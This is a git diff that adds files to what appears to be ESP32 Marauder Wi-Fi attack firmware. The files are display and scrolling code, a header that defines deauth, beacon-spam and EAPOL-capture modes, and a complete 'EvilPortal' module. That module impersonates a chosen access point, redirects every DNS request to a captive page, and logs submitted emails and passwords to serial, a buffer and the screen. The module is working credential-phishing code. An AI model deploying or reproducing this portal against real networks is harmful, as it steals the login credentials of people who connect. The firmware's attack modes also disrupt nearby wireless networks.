+ }
+}
+
+void Display::showCenterText(String text, int y)
+{
+ tft.setCursor((SCREEN_WIDTH - (text.length() * (6 * BANNER_TEXT_SIZE))) / 2, y);
+ tft.println(text);
+}
+
+
+void Display::initScrollValues(bool tte)
+{
+ //Serial.println(F("initScrollValues()"));
+ yDraw = YMAX - BOT_FIXED_AREA - TEXT_HEIGHT;
+
+ xPos = 0;
+
+ if (!tte)
+ {
+ yStart = TOP_FIXED_AREA;
+
+ yArea = YMAX - TOP_FIXED_AREA - BOT_FIXED_AREA;
+ }
+ else
+ {
+ yStart = TOP_FIXED_AREA_2;
+
+ yArea = YMAX - TOP_FIXED_AREA_2 - BOT_FIXED_AREA;
+ }
+
+ for(uint8_t i = 0; i < 18; i++) blank[i] = 0;
+}
+
+
+
+// Function to execute hardware scroll for TFT screen
+int Display::scroll_line(uint32_t color) {
+ //Serial.println("scroll_line()");
+ int yTemp = yStart; // Store the old yStart, this is where we draw the next line
+ // Use the record of line lengths to optimise the rectangle size we need to erase the top line
+
+ // Check if we have the "touch to exit bar"
+ if (!tteBar)
+ {
+ tft.fillRect(0,yStart,blank[(yStart-TOP_FIXED_AREA)/TEXT_HEIGHT],TEXT_HEIGHT, color);
+
+ // Change the top of the scroll area
+ yStart+=TEXT_HEIGHT;
+ // The value must wrap around as the screen memory is a circular buffer
+ if (yStart >= YMAX - BOT_FIXED_AREA) yStart = TOP_FIXED_AREA + (yStart - YMAX + BOT_FIXED_AREA);
+ }
+ else
+ {
+ tft.fillRect(0,yStart,blank[(yStart-TOP_FIXED_AREA_2)/TEXT_HEIGHT],TEXT_HEIGHT, color);
+
+ // Change the top of the scroll area
+ yStart+=TEXT_HEIGHT;
+ // The value must wrap around as the screen memory is a circular buffer
+ if (yStart >= YMAX - BOT_FIXED_AREA) yStart = TOP_FIXED_AREA_2 + (yStart - YMAX + BOT_FIXED_AREA);
+ }
+ // Now we can scroll the display
+ scrollAddress(yStart);
+ return yTemp;
+}
+
+
+// Function to setup hardware scroll for TFT screen
+void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
+ //Serial.println(F("setupScrollArea()"));
+ //Serial.println(" tfa: " + (String)tfa);
+ //Serial.println(" bfa: " + (String)bfa);
+ //Serial.println("yStart: " + (String)this->yStart);
+ #ifdef HAS_ILI9341
+ tft.writecommand(ILI9341_VSCRDEF); // Vertical scroll definition
+ tft.writedata(tfa >> 8); // Top Fixed Area line count
+ tft.writedata(tfa);
+ tft.writedata((YMAX-tfa-bfa)>>8); // Vertical Scrolling Area line count
+ tft.writedata(YMAX-tfa-bfa);
+ tft.writedata(bfa >> 8); // Bottom Fixed Area line count
+ tft.writedata(bfa);
+ #endif
+}
+
+
+void Display::scrollAddress(uint16_t vsp) {
+ #ifdef HAS_ILI9341
+ tft.writecommand(ILI9341_VSCRSADD); // Vertical scrolling pointer
+ tft.writedata(vsp>>8);
+ tft.writedata(vsp);
+ #endif
+}
+
+
+
+
+// JPEG_functions
+/*
+void Display::drawJpeg(const char *filename, int xpos, int ypos) {
+
+ // Open the named file (the Jpeg decoder library will close it after rendering image)
+ //fs::File jpegFile = SPIFFS.open( filename, "r"); // File handle reference for SPIFFS
+
+ //jpegFile.close();
+
+ //ESP32 always seems to return 1 for jpegFile so this null trap does not work
+ //if ( !jpegFile ) {
+ // Serial.print("ERROR: File \""); Serial.print(filename); Serial.println ("\" not found!");
+ // return;
+ //}
+
+ // Use one of the three following methods to initialise the decoder,
+ // the filename can be a String or character array type:
+
+ //boolean decoded = JpegDec.decodeFsFile(filename); // or pass the filename (leading / distinguishes SPIFFS files)
+ boolean decoded = JpegDec.decodeArray(MarauderTitle, MARAUDER_TITLE_BYTES);
+
+ if (decoded) {
+ // print information about the image to the serial port
+ jpegInfo();
+
+ // render the image onto the screen at given coordinates
+ jpegRender(xpos, ypos);
+ }
+ //else {
+ // Serial.println(F("Jpeg file format not supported!"));
+ //}
+}
+*/
+
+/*void Display::setupDraw() {
+ this->tft.drawLine(0, 0, 10, 0, TFT_MAGENTA);
+ this->tft.drawLine(0, 0, 0, 10, TFT_GREEN);
+ this->tft.drawLine(0, 0, 0, 0, TFT_CYAN);
+}*/
+
+/*uint16_t xlast;
+uint16_t ylast;
+uint32_t AH;
+void Display::drawStylus()
+{
+ uint16_t x = 0, y = 0; // To store the touch coordinates
+
+ // Pressed will be set true is there is a valid touch on the screen
+ boolean pressed = tft.getTouch(&x, &y);
+
+ if ((x <= 10) && (y <= 10) && (pressed)) {
+ //Serial.println(F("Exit draw function"));
+ this->draw_tft = false;
+ this->exit_draw = true;
+ return;
+ }
+
+ // Draw a white spot at the detected coordinates
+ if (pressed) {
+ // tft.fillCircle(x, y, 2, TFT_WHITE);
+ if ( xlast > 0 && ylast > 0 ) {
+ uint16_t the_color = TFT_WHITE;
+ uint16_t wd = 1;
+ int xlast2;
+ int ylast2;
+ int x2;
+ int y2;
+ int n;
+ int n2 = -wd;
+ xlast2 = xlast - wd;
+ x2 = x - wd;
+ for (n = -wd; n <= wd; n++) {
+ ylast2 = ylast + n;
+ y2 = y + n;
+ tft.drawLine(xlast2, ylast2, x2, y2, the_color);
+ }
+ for (n2 = -wd; n2 <= wd; n2++) {
+ xlast2 = xlast + n2;
+ x2 = x + n2;
+ tft.drawLine(xlast2, ylast2, x2, y2, the_color);
+ }
+ for (n = wd; n >= -wd; n--) {
+ ylast2 = ylast + n;
+ y2 = y + n;
+ tft.drawLine(xlast2, ylast2, x2, y2, the_color);
+ }
+ for (n2 = wd; n2 >= -wd; n2--) {
+ xlast2 = xlast + n2;
+ x2 = x + n2;
+ tft.drawLine(xlast2, ylast2, x2, y2, the_color);
+ }
+// tft.drawLine(xlast, ylast, x, y, TFT_WHITE);
+ }
+ xlast = x;
+ ylast = y;
+ AH = 0;
+ //Serial.print("x,y = ");
+ //Serial.print(x);
+ //Serial.print(",");
+ //Serial.println(y);
+ } else if ( AH < 5 ) {
+ AH++;
+ } else if ( AH == 5 ) {
+ xlast = 0;
+ ylast = 0;
+ }
+}*/
+
+//====================================================================================
+// Decode and render the Jpeg image onto the TFT screen
+//====================================================================================
+void Display::jpegRender(int xpos, int ypos) {
+
+ // retrieve infomration about the image
+ uint16_t *pImg;
+ int16_t mcu_w = JpegDec.MCUWidth;
+ int16_t mcu_h = JpegDec.MCUHeight;
+ int32_t max_x = JpegDec.width;
+ int32_t max_y = JpegDec.height;
+
+ // Jpeg images are draw as a set of image block (tiles) called Minimum Coding Units (MCUs)
+ // Typically these MCUs are 16x16 pixel blocks
+ // Determine the width and height of the right and bottom edge image blocks
+ int32_t min_w = minimum(mcu_w, max_x % mcu_w);
+ int32_t min_h = minimum(mcu_h, max_y % mcu_h);
+
+ // save the current image block size
+ int32_t win_w = mcu_w;
+ int32_t win_h = mcu_h;
+
+ // record the current time so we can measure how long it takes to draw an image
+ uint32_t drawTime = millis();
+
+ // save the coordinate of the right and bottom edges to assist image cropping
+ // to the screen size
+ max_x += xpos;
+ max_y += ypos;
+
+ // read each MCU block until there are no more
+ while ( JpegDec.readSwappedBytes()) { // Swapped byte order read
+
+ // save a pointer to the image block
+ pImg = JpegDec.pImage;
+
+ // calculate where the image block should be drawn on the screen
+ int mcu_x = JpegDec.MCUx * mcu_w + xpos; // Calculate coordinates of top left corner of current MCU
+ int mcu_y = JpegDec.MCUy * mcu_h + ypos;
+
+ // check if the image block size needs to be changed for the right edge
+ if (mcu_x + mcu_w <= max_x) win_w = mcu_w;
+ else win_w = min_w;
+
+ // check if the image block size needs to be changed for the bottom edge
+ if (mcu_y + mcu_h <= max_y) win_h = mcu_h;
+ else win_h = min_h;
+
+ // copy pixels into a contiguous block
+ if (win_w != mcu_w)
+ {
+ for (int h = 1; h < win_h-1; h++)
+ {
+ memcpy(pImg + h * win_w, pImg + (h + 1) * mcu_w, win_w << 1);
+ }
+ }
+
+ // draw image MCU block only if it will fit on the screen
+ if ( mcu_x < tft.width() && mcu_y < tft.height())
+ {
+ // Now push the image block to the screen
+ tft.pushImage(mcu_x, mcu_y, win_w, win_h, pImg);
+ }
+
+ else if ( ( mcu_y + win_h) >= tft.height()) JpegDec.abort();
+
+ }
+
+ // calculate how long it took to draw the image
+ drawTime = millis() - drawTime; // Calculate the time it took
+}
+
+//====================================================================================
+// Print information decoded from the Jpeg image
+//====================================================================================
+void Display::jpegInfo() {
+/*
+ Serial.println("===============");
+ Serial.println("JPEG image info");
+ Serial.println("===============");
+ Serial.print ("Width :"); Serial.println(JpegDec.width);
+ Serial.print ("Height :"); Serial.println(JpegDec.height);
+ Serial.print ("Components :"); Serial.println(JpegDec.comps);
+ Serial.print ("MCU / row :"); Serial.println(JpegDec.MCUSPerRow);
+ Serial.print ("MCU / col :"); Serial.println(JpegDec.MCUSPerCol);
+ Serial.print ("Scan type :"); Serial.println(JpegDec.scanType);
+ Serial.print ("MCU width :"); Serial.println(JpegDec.MCUWidth);
+ Serial.print ("MCU height :"); Serial.println(JpegDec.MCUHeight);
+ Serial.println("===============");
+ Serial.println("");
+ */
+}
+
+//====================================================================================
+// Open a Jpeg file and send it to the Serial port in a C array compatible format
+//====================================================================================
+void createArray(const char *filename) {
+
+ // Open the named file
+ fs::File jpgFile = SPIFFS.open( filename, "r"); // File handle reference for SPIFFS
+ // File jpgFile = SD.open( filename, FILE_READ); // or, file handle reference for SD library
+
+ if ( !jpgFile ) {
+ Serial.print("ERROR: File \""); Serial.print(filename); Serial.println ("\" not found!");
+ return;
+ }
+
+ uint8_t data;
+ byte line_len = 0;
+ Serial.println("");
+ Serial.println(F("// Generated by a JPEGDecoder library example sketch:"));
+ Serial.println(F("// https://github.com/Bodmer/JPEGDecoder"));
+ Serial.println("");
+ Serial.println(F("#if defined(__AVR__)"));
+ Serial.println(F(" #include "));
+ Serial.println(F("#endif"));
+ Serial.println("");
+ Serial.print (F("const uint8_t "));
+ while (*filename != '.') Serial.print(*filename++);
+ Serial.println(F("[] PROGMEM = {")); // PROGMEM added for AVR processors, it is ignored by Due
+
+ while ( jpgFile.available()) {
+
+ data = jpgFile.read();
+ Serial.print("0x"); if (abs(data) < 16) Serial.print("0");
+ Serial.print(data, HEX); Serial.print(",");// Add value and comma
+ line_len++;
+ if ( line_len >= 32) {
+ line_len = 0;
+ Serial.println();
+ }
+
+ }
+
+ Serial.println("};\r\n");
+ jpgFile.close();
+}
+
+// End JPEG_functions
+
+// SPIFFS_functions
+
+#ifdef ESP8266
+void Display::listFiles(void) {
+ Serial.println();
+ Serial.println(F("SPIFFS files found:"));
+
+ fs::Dir dir = SPIFFS.openDir("/"); // Root directory
+ String line = "=====================================";
+
+ Serial.println(line);
+ Serial.println(F(" File name Size"));
+ Serial.println(line);
+
+ while (dir.next()) {
+ String fileName = dir.fileName();
+ Serial.print(fileName);
+ int spaces = 21 - fileName.length(); // Tabulate nicely
+ while (spaces--) Serial.print(" ");
+
+ fs::File f = dir.openFile("r");
+ String fileSize = (String) f.size();
+ spaces = 10 - fileSize.length(); // Tabulate nicely
+ while (spaces--) Serial.print(" ");
+ Serial.println(fileSize + " bytes");
+ }
+
+ Serial.println(line);
+ Serial.println();
+ delay(1000);
+}
+#endif
+
+//====================================================================================
+
+#ifdef ESP32
+
+void Display::listFiles(void) {
+ listDir(SPIFFS, "/", 0);
+}
+
+void Display::listDir(fs::FS &fs, const char * dirname, uint8_t levels) {
+
+ Serial.println();
+ Serial.println(F("SPIFFS files found:"));
+
+ Serial.printf("Listing directory: %s\n", "/");
+ String line = "=====================================";
+
+ Serial.println(line);
+ Serial.println(F(" File name Size"));
+ Serial.println(line);
+
+ fs::File root = fs.open(dirname);
+ if (!root) {
+ Serial.println(F("Failed to open directory"));
+ return;
+ }
+ if (!root.isDirectory()) {
+ Serial.println(F("Not a directory"));
+ return;
+ }
+
+ fs::File file = root.openNextFile();
+ while (file) {
+
+ if (file.isDirectory()) {
+ Serial.print("DIR : ");
+ String fileName = file.name();
+ Serial.print(fileName);
+ if (levels) {
+ listDir(fs, file.name(), levels - 1);
+ }
+ } else {
+ String fileName = file.name();
+ Serial.print(" " + fileName);
+ int spaces = 20 - fileName.length(); // Tabulate nicely
+ while (spaces--) Serial.print(" ");
+ String fileSize = (String) file.size();
+ spaces = 10 - fileSize.length(); // Tabulate nicely
+ while (spaces--) Serial.print(" ");
+ Serial.println(fileSize + " bytes");
+ }
+
+ file = root.openNextFile();
+ }
+
+ Serial.println(line);
+ Serial.println();
+ delay(1000);
+}
+#endif
+
+
+void Display::updateBanner(String msg)
+{
+ //this->img.deleteSprite();
+
+ //this->img.setColorDepth(8);
+
+ //this->img.createSprite(SCREEN_WIDTH, TEXT_HEIGHT);
+
+ this->buildBanner(msg, current_banner_pos);
+
+ //this->img.pushSprite(0, STATUS_BAR_WIDTH);
+
+ //current_banner_pos--;
+
+ //if (current_banner_pos <= 0)
+ // current_banner_pos = SCREEN_WIDTH + 2;
+}
+
+
+void Display::buildBanner(String msg, int xpos)
+{
+ int h = TEXT_HEIGHT;
+
+ this->tft.fillRect(0, STATUS_BAR_WIDTH, SCREEN_WIDTH, TEXT_HEIGHT, TFT_BLACK);
+ this->tft.setFreeFont(NULL); // Font 4 selected
+ this->tft.setTextSize(BANNER_TEXT_SIZE); // Font size scaling is x1
+ this->tft.setTextColor(TFT_WHITE, TFT_BLACK); // Black text, no background colour
+ this->showCenterText(msg, STATUS_BAR_WIDTH);
+
+ /*
+ // We could just use fillSprite(color) but lets be a bit more creative...
+
+ // Fill with rainbow stripes
+ //while (h--) img.drawFastHLine(0, h, SCREEN_WIDTH, 255);
+
+ // Draw some graphics, the text will apear to scroll over these
+ //img.fillRect (SCREEN_WIDTH / 2 - 20, TEXT_HEIGHT / 2 - 10, 40, 20, TFT_YELLOW);
+ //img.fillCircle(SCREEN_WIDTH / 2, TEXT_HEIGHT / 2, 10, TFT_ORANGE);
+
+ // Now print text on top of the graphics
+ img.setTextSize(BANNER_TEXT_SIZE); // Font size scaling is x1
+ img.setTextFont(0); // Font 4 selected
+ img.setTextColor(TFT_WHITE); // Black text, no background colour
+ img.setTextWrap(false); // Turn of wrap so we can print past end of sprite
+
+ // Need to print twice so text appears to wrap around at left and right edges
+ img.setCursor(xpos, 2); // Print text at xpos
+ img.print(msg);
+
+ img.setCursor(xpos - SCREEN_WIDTH, 2); // Print text at xpos - sprite width
+ img.print(msg);
+ */
+}
+
+void Display::main(uint8_t scan_mode)
+{
+ if ((scan_mode == LV_JOIN_WIFI) ||
+ (scan_mode == LV_ADD_SSID))
+ lv_task_handler();
+ return;
+}
+// End SPIFFS_functions
+
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/Display.h b/S2Mini_esp32_v1.0.0_marauder/Display.h
new file mode 100644
index 0000000..563256d
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/Display.h
@@ -0,0 +1,131 @@
+#pragma once
+
+#ifndef Display_h
+#define Display_h
+
+#include "configs.h"
+
+#ifdef HAS_SCREEN
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include "SPIFFS.h"
+#include "Assets.h"
+
+#include
+
+// WiFi stuff
+#define OTA_UPDATE 100
+#define SHOW_INFO 101
+#define WIFI_SCAN_OFF 0
+#define WIFI_SCAN_PROBE 1
+#define WIFI_SCAN_AP 2
+#define WIFI_SCAN_PWN 3
+#define WIFI_SCAN_EAPOL 4
+#define WIFI_SCAN_DEAUTH 5
+#define WIFI_SCAN_ALL 6
+#define WIFI_PACKET_MONITOR 7
+#define WIFI_ATTACK_BEACON_SPAM 8
+#define WIFI_ATTACK_RICK_ROLL 9
+#define BT_SCAN_ALL 10
+#define BT_SCAN_SKIMMERS 11
+#define WIFI_SCAN_ESPRESSIF 12
+#define LV_JOIN_WIFI 13
+#define LV_ADD_SSID 14
+#define WIFI_ATTACK_BEACON_LIST 15
+
+class Display
+{
+ private:
+ bool SwitchOn = false;
+
+ bool run_setup = true;
+
+ // For the byte we read from the serial port
+ byte data = 0;
+
+ // A few test variables used during debugging
+ boolean change_colour = 1;
+ boolean selected = 1;
+
+ void drawFrame();
+
+ #ifdef SCREEN_BUFFER
+ void scrollScreenBuffer(bool down = false);
+ #endif
+
+ public:
+ Display();
+ TFT_eSPI tft = TFT_eSPI();
+ TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
+ const String PROGMEM version_number = MARAUDER_VERSION;
+
+ bool printing = false;
+ bool loading = false;
+ bool tteBar = false;
+ bool draw_tft = false;
+ bool exit_draw = false;
+ bool headless_mode = false;
+
+ uint8_t TOP_FIXED_AREA_2 = 48;
+ uint8_t print_delay_1, print_delay_2 = 10;
+ uint8_t current_banner_pos = SCREEN_WIDTH;
+
+ LinkedList* display_buffer;
+
+ #ifdef SCREEN_BUFFER
+ LinkedList* screen_buffer;
+ #endif
+
+ // The initial y coordinate of the top of the bottom text line
+ uint16_t yDraw = YMAX - BOT_FIXED_AREA - TEXT_HEIGHT;
+
+ // Keep track of the drawing x coordinate
+ uint16_t xPos = 0;
+
+ // The initial y coordinate of the top of the scrolling area
+ uint16_t yStart = TOP_FIXED_AREA_2;
+ // yArea must be a integral multiple of TEXT_HEIGHT
+ uint16_t yArea = YMAX - TOP_FIXED_AREA_2 - BOT_FIXED_AREA;
+
+ // We have to blank the top line each time the display is scrolled, but this takes up to 13 milliseconds
+ // for a full width line, meanwhile the serial buffer may be filling... and overflowing
+ // We can speed up scrolling of short text lines by just blanking the character we drew
+ int blank[19]; // We keep all the strings pixel lengths to optimise the speed of the top line blanking
+
+ void tftDrawRedOnOffButton();
+ void tftDrawGreenOnOffButton();
+ void tftDrawGraphObjects(byte x_scale);
+ void tftDrawEapolColorKey();
+ void tftDrawColorKey();
+ void tftDrawXScaleButtons(byte x_scale);
+ void tftDrawYScaleButtons(byte y_scale);
+ void tftDrawChannelScaleButtons(int set_channel);
+ void tftDrawExitScaleButtons();
+ void buildBanner(String msg, int xpos);
+ void clearScreen();
+ void displayBuffer(bool do_clear = false);
+ //void drawJpeg(const char *filename, int xpos, int ypos);
+ void getTouchWhileFunction(bool pressed);
+ void initScrollValues(bool tte = false);
+ void jpegInfo();
+ void jpegRender(int xpos, int ypos);
+ void listDir(fs::FS &fs, const char * dirname, uint8_t levels);
+ void listFiles();
+ void main(uint8_t scan_mode);
+ void RunSetup();
+ void scrollAddress(uint16_t vsp);
+ int scroll_line(uint32_t color);
+ void setupScrollArea(uint16_t tfa, uint16_t bfa);
+ void showCenterText(String text, int y);
+ void touchToExit();
+ void twoPartDisplay(String center_text);
+ void updateBanner(String msg);
+};
+#endif
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/EvilPortal.cpp b/S2Mini_esp32_v1.0.0_marauder/EvilPortal.cpp
new file mode 100644
index 0000000..cd1aa3a
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/EvilPortal.cpp
@@ -0,0 +1,310 @@
+#include "EvilPortal.h"
+
+AsyncWebServer server(80);
+
+EvilPortal::EvilPortal() {
+}
+
+void EvilPortal::setup() {
+ this->runServer = false;
+ this->name_received = false;
+ this->password_received = false;
+ this->has_html = false;
+ this->has_ap = false;
+
+ html_files = new LinkedList();
+
+ html_files->add("Back");
+
+ #ifdef HAS_SD
+ if (sd_obj.supported) {
+ sd_obj.listDirToLinkedList(html_files, "/", "html");
+
+ Serial.println("Evil Portal Found " + (String)html_files->size() + " HTML files");
+ }
+ #endif
+}
+
+bool EvilPortal::begin(LinkedList* ssids, LinkedList* access_points) {
+ if (!this->setAP(ssids, access_points))
+ return false;
+ if (!this->setHtml())
+ return false;
+
+ startPortal();
+
+ return true;
+}
+
+String EvilPortal::get_user_name() {
+ return this->user_name;
+}
+
+String EvilPortal::get_password() {
+ return this->password;
+}
+
+void EvilPortal::setupServer() {
+ server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
+ request->send_P(200, "text/html", index_html);
+ Serial.println("client connected");
+ #ifdef HAS_SCREEN
+ this->sendToDisplay("Client connected to server");
+ #endif
+ });
+
+ server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
+ String inputMessage;
+ String inputParam;
+
+ if (request->hasParam("email")) {
+ inputMessage = request->getParam("email")->value();
+ inputParam = "email";
+ this->user_name = inputMessage;
+ this->name_received = true;
+ }
+
+ if (request->hasParam("password")) {
+ inputMessage = request->getParam("password")->value();
+ inputParam = "password";
+ this->password = inputMessage;
+ this->password_received = true;
+ }
+ request->send(
+ 200, "text/html",
+ "");
+ });
+ Serial.println("web server up");
+}
+
+void EvilPortal::setHtmlFromSerial() {
+ Serial.println("Setting HTML from serial...");
+ const char *htmlStr = Serial.readString().c_str();
+ strncpy(index_html, htmlStr, strlen(htmlStr));
+ this->has_html = true;
+ this->using_serial_html = true;
+ Serial.println("html set");
+}
+
+bool EvilPortal::setHtml() {
+ if (this->using_serial_html) {
+ Serial.println("html previously set");
+ return true;
+ }
+ Serial.println("Setting HTML...");
+ #ifdef HAS_SD
+ File html_file = sd_obj.getFile("/" + this->target_html_name);
+ #else
+ File html_file;
+ #endif
+ if (!html_file) {
+ #ifdef HAS_SCREEN
+ this->sendToDisplay("Could not find /" + this->target_html_name);
+ this->sendToDisplay("Touch to exit...");
+ #endif
+ Serial.println("Could not find /" + this->target_html_name + ". Use stopscan...");
+ return false;
+ }
+ else {
+ if (html_file.size() > MAX_HTML_SIZE) {
+ #ifdef HAS_SCREEN
+ this->sendToDisplay("The given HTML is too large.");
+ this->sendToDisplay("The Byte limit is " + (String)MAX_HTML_SIZE);
+ this->sendToDisplay("Touch to exit...");
+ #endif
+ Serial.println("The provided HTML is too large. Byte limit is " + (String)MAX_HTML_SIZE + "\nUse stopscan...");
+ return false;
+ }
+ String html = "";
+ while (html_file.available()) {
+ char c = html_file.read();
+ if (isPrintable(c))
+ html.concat(c);
+ }
+ strncpy(index_html, html.c_str(), strlen(html.c_str()));
+ this->has_html = true;
+ Serial.println("html set");
+ html_file.close();
+ return true;
+ }
+
+}
+
+bool EvilPortal::setAP(LinkedList* ssids, LinkedList* access_points) {
+ // See if there are selected APs first
+ String ap_config = "";
+ String temp_ap_name = "";
+ for (int i = 0; i < access_points->size(); i++) {
+ if (access_points->get(i).selected) {
+ temp_ap_name = access_points->get(i).essid;
+ break;
+ }
+ }
+ // If there are no SSIDs and there are no APs selected, pull from file
+ // This means the file is last resort
+ if ((ssids->size() <= 0) && (temp_ap_name == "")) {
+ #ifdef HAS_SD
+ File ap_config_file = sd_obj.getFile("/ap.config.txt");
+ #else
+ File ap_config_file;
+ #endif
+ // Could not open config file. return false
+ if (!ap_config_file) {
+ #ifdef HAS_SCREEN
+ this->sendToDisplay("Could not find /ap.config.txt.");
+ this->sendToDisplay("Touch to exit...");
+ #endif
+ Serial.println("Could not find /ap.config.txt. Use stopscan...");
+ return false;
+ }
+ // Config file good. Proceed
+ else {
+ // ap name too long. return false
+ if (ap_config_file.size() > MAX_AP_NAME_SIZE) {
+ #ifdef HAS_SCREEN
+ this->sendToDisplay("The given AP name is too large.");
+ this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
+ this->sendToDisplay("Touch to exit...");
+ #endif
+ Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
+ return false;
+ }
+ // AP name length good. Read from file into var
+ while (ap_config_file.available()) {
+ char c = ap_config_file.read();
+ Serial.print(c);
+ if (isPrintable(c)) {
+ ap_config.concat(c);
+ }
+ }
+ #ifdef HAS_SCREEN
+ this->sendToDisplay("AP name from config file");
+ this->sendToDisplay("AP name: " + ap_config);
+ #endif
+ Serial.println("AP name from config file: " + ap_config);
+ ap_config_file.close();
+ }
+ }
+ // There are SSIDs in the list but there could also be an AP selected
+ // Priority is SSID list before AP selected and config file
+ else if (ssids->size() > 0) {
+ ap_config = ssids->get(0).essid;
+ if (ap_config.length() > MAX_AP_NAME_SIZE) {
+ #ifdef HAS_SCREEN
+ this->sendToDisplay("The given AP name is too large.");
+ this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
+ this->sendToDisplay("Touch to exit...");
+ #endif
+ Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
+ return false;
+ }
+ #ifdef HAS_SCREEN
+ this->sendToDisplay("AP name from SSID list");
+ this->sendToDisplay("AP name: " + ap_config);
+ #endif
+ Serial.println("AP name from SSID list: " + ap_config);
+ }
+ else if (temp_ap_name != "") {
+ if (temp_ap_name.length() > MAX_AP_NAME_SIZE) {
+ #ifdef HAS_SCREEN
+ this->sendToDisplay("The given AP name is too large.");
+ this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
+ this->sendToDisplay("Touch to exit...");
+ #endif
+ Serial.println("The given AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
+ }
+ else {
+ ap_config = temp_ap_name;
+ #ifdef HAS_SCREEN
+ this->sendToDisplay("AP name from AP list");
+ this->sendToDisplay("AP name: " + ap_config);
+ #endif
+ Serial.println("AP name from AP list: " + ap_config);
+ }
+ }
+ else {
+ Serial.println("Could not configure Access Point. Use stopscan...");
+ #ifdef HAS_SCREEN
+ this->sendToDisplay("Could not configure Access Point.");
+ this->sendToDisplay("Touch to exit...");
+ #endif
+ }
+
+ if (ap_config != "") {
+ strncpy(apName, ap_config.c_str(), MAX_AP_NAME_SIZE);
+ this->has_ap = true;
+ Serial.println("ap config set");
+ return true;
+ }
+ else
+ return false;
+
+}
+
+void EvilPortal::startAP() {
+ const IPAddress AP_IP(172, 0, 0, 1);
+
+ Serial.print("starting ap ");
+ Serial.println(apName);
+
+ WiFi.mode(WIFI_AP);
+ WiFi.softAPConfig(AP_IP, AP_IP, IPAddress(255, 255, 255, 0));
+ WiFi.softAP(apName);
+
+ #ifdef HAS_SCREEN
+ this->sendToDisplay("AP started");
+ #endif
+
+ Serial.print("ap ip address: ");
+ Serial.println(WiFi.softAPIP());
+
+ this->setupServer();
+
+ this->dnsServer.start(53, "*", WiFi.softAPIP());
+ server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
+ server.begin();
+ #ifdef HAS_SCREEN
+ this->sendToDisplay("Evil Portal READY");
+ #endif
+}
+
+void EvilPortal::startPortal() {
+ // wait for flipper input to get config index
+ this->startAP();
+
+ this->runServer = true;
+}
+
+void EvilPortal::sendToDisplay(String msg) {
+ #ifdef HAS_SCREEN
+ String display_string = "";
+ display_string.concat(msg);
+ int temp_len = display_string.length();
+ for (int i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ #endif
+}
+
+void EvilPortal::main(uint8_t scan_mode) {
+ if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){
+ this->dnsServer.processNextRequest();
+ if (this->name_received && this->password_received) {
+ this->name_received = false;
+ this->password_received = false;
+ String logValue1 =
+ "u: " + this->user_name;
+ String logValue2 = "p: " + this->password;
+ String full_string = logValue1 + " " + logValue2 + "\n";
+ Serial.print(full_string);
+ buffer_obj.append(full_string);
+ #ifdef HAS_SCREEN
+ this->sendToDisplay(full_string);
+ #endif
+ }
+ }
+}
diff --git a/S2Mini_esp32_v1.0.0_marauder/EvilPortal.h b/S2Mini_esp32_v1.0.0_marauder/EvilPortal.h
new file mode 100644
index 0000000..4e5635a
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/EvilPortal.h
@@ -0,0 +1,114 @@
+#pragma once
+
+#ifndef EvilPortal_h
+#define EvilPortal_h
+
+#include "ESPAsyncWebServer.h"
+#include
+#include
+
+#include "configs.h"
+#include "settings.h"
+#ifdef HAS_SCREEN
+ #include "Display.h"
+ #include
+#endif
+#include "SDInterface.h"
+#include "Buffer.h"
+#include "lang_var.h"
+
+extern Settings settings_obj;
+extern SDInterface sd_obj;
+#ifdef HAS_SCREEN
+ extern Display display_obj;
+#endif
+extern Buffer buffer_obj;
+
+#define WAITING 0
+#define GOOD 1
+#define BAD 2
+
+#define SET_HTML_CMD "sethtml="
+#define SET_AP_CMD "setap="
+#define RESET_CMD "reset"
+#define START_CMD "start"
+#define ACK_CMD "ack"
+#define MAX_AP_NAME_SIZE 30
+#define WIFI_SCAN_EVIL_PORTAL 30
+
+char apName[MAX_AP_NAME_SIZE] = "PORTAL";
+char index_html[MAX_HTML_SIZE] = "TEST";
+
+struct ssid {
+ String essid;
+ uint8_t channel;
+ uint8_t bssid[6];
+ bool selected;
+};
+
+struct AccessPoint {
+ String essid;
+ uint8_t channel;
+ uint8_t bssid[6];
+ bool selected;
+ LinkedList* beacon;
+ char rssi;
+ LinkedList* stations;
+};
+
+class CaptiveRequestHandler : public AsyncWebHandler {
+public:
+ CaptiveRequestHandler() {}
+ virtual ~CaptiveRequestHandler() {}
+
+ bool canHandle(AsyncWebServerRequest *request) { return true; }
+
+ void handleRequest(AsyncWebServerRequest *request) {
+ request->send_P(200, "text/html", index_html);
+ }
+};
+
+class EvilPortal {
+
+ private:
+ bool runServer;
+ bool name_received;
+ bool password_received;
+
+ String user_name;
+ String password;
+
+ bool has_html;
+ bool has_ap;
+
+ DNSServer dnsServer;
+
+ void (*resetFunction)(void) = 0;
+
+ bool setHtml();
+ bool setAP(LinkedList* ssids, LinkedList* access_points);
+ void setupServer();
+ void startPortal();
+ void startAP();
+ void sendToDisplay(String msg);
+
+ public:
+ EvilPortal();
+
+ String target_html_name = "index.html";
+ uint8_t selected_html_index = 0;
+
+ bool using_serial_html;
+
+ LinkedList* html_files;
+
+ String get_user_name();
+ String get_password();
+ void setup();
+ bool begin(LinkedList* ssids, LinkedList* access_points);
